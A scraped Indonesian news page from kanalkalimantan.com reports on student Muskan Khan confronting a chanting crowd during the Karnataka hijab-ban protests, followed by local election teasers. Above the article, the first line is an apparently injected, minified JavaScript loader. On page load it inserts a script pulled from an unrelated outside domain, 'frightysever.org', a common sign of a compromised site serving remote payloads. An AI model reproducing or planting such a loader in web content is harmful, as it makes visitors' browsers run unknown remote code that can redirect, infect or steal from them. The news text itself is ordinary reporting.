(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
KANALKALIMANTAN.COM – Video viral teriakan Muskan Khan, seorang pelajar Muslim yang meneriakkan “Allahu Akbar” sembari melewati massa pelajar yang mengelilinginya dengan menyorakkan slogan Hindu “Jai Shree Ram” (Kemuliaan untuk Dewa Rama), di Provinsi Karnataka, India, Selasa (8/2).
Muskan menentang larangan mengenakan hijab di sekolah, yang diterapkan sejak bulan lalu. Protes hijab di negara bagian itu dimulai pada Januari tahun ini ketika beberapa mahasiswi mengaku dilarang masuk kelas karena mengenakan hijab.
Larangan ini menyulut protes ratusan umat Muslim, yang merupakan minoritas di India.
“Berhijab adalah pilihan pribadi yang tidak melukai siapapun… (larangan) ini diskriminatif dan melanggar hak yang dijamin konstitusi India,” tutur Sumayya Rousha, Presiden Organisasi Perempuan Muslim Karnataka.
Baca juga :DWP Disdukcapil Kapuas Aktifkan Kembali Program Kegiatan
Alhasil, pemprov setempat, sejak Selasa, memerintahkan sekolah dan kampus untuk tutup selama tiga hari, sebagai upaya meminimalisir protes.
Petisi salah seorang siswi Muslim, yang meminta aturan larangan berhijab di sekolah untuk dicabut, juga telah dipersidangkan di Pengadilan Tinggi Karnataka.
Belum ada keputusan final yang diperolah dari persidangan. Hakim memutuskan untuk membawa kasus ke pengadilan yang lebih tinggi.
Anggota partai oposisi pemerintah, Rahul Gandhi mengklaim, dengan menjadikan hijab sebagai alat untuk melarang siswi belajar, “Kita sedang merenggut masa depan perempuan India.”
Kantor berita AFP afiliasi VOA melaporkan, umat Muslim mengaku semakin ‘takut dan dipersekusi’ di bawah pemerintahan PM Narendra Modi – seorang nasionalis Hindu. (kanalkalimantan/VOA)
Editor : Desy
KANALKALIMANTAN.COM, BANJARBARU - Forum Ambin Demokrasi turut menyikapi jalannya proses demokrasi dalam Pemilihan Wali Kota… Read More
KANALKALIMANTAN.COM, BANJARBARU - Kota Banjarbaru mulai masuk masa tenang jelang Pemilihan Kepala Daerah (Pilkada) Serentak… Read More
Coblos Paslon yang Dibatalkan Suara Dianggap Tidak Sah Read More
KANALKALIMANTAN.COM, BANJARBARU - Penjabat Sementara (Pjs) Wali Kota Banjarbaru Dra Hj Nurliani MAP telah bertugas… Read More
KANALKALIMANTAN.COM, AMUNTAI - Menjelang hari pemilihan dan memasuki masa tenang Pemilihan Kepala Daerah (Pilkada) 2024,… Read More
KANALKALIMANTAN.COM, AMUNTAI - Komisi Pemilihan Umum (KPU) Kabupaten Hulu Sungai Utara (HSU) mulai mendistribusikan logistik… Read More
This website uses cookies.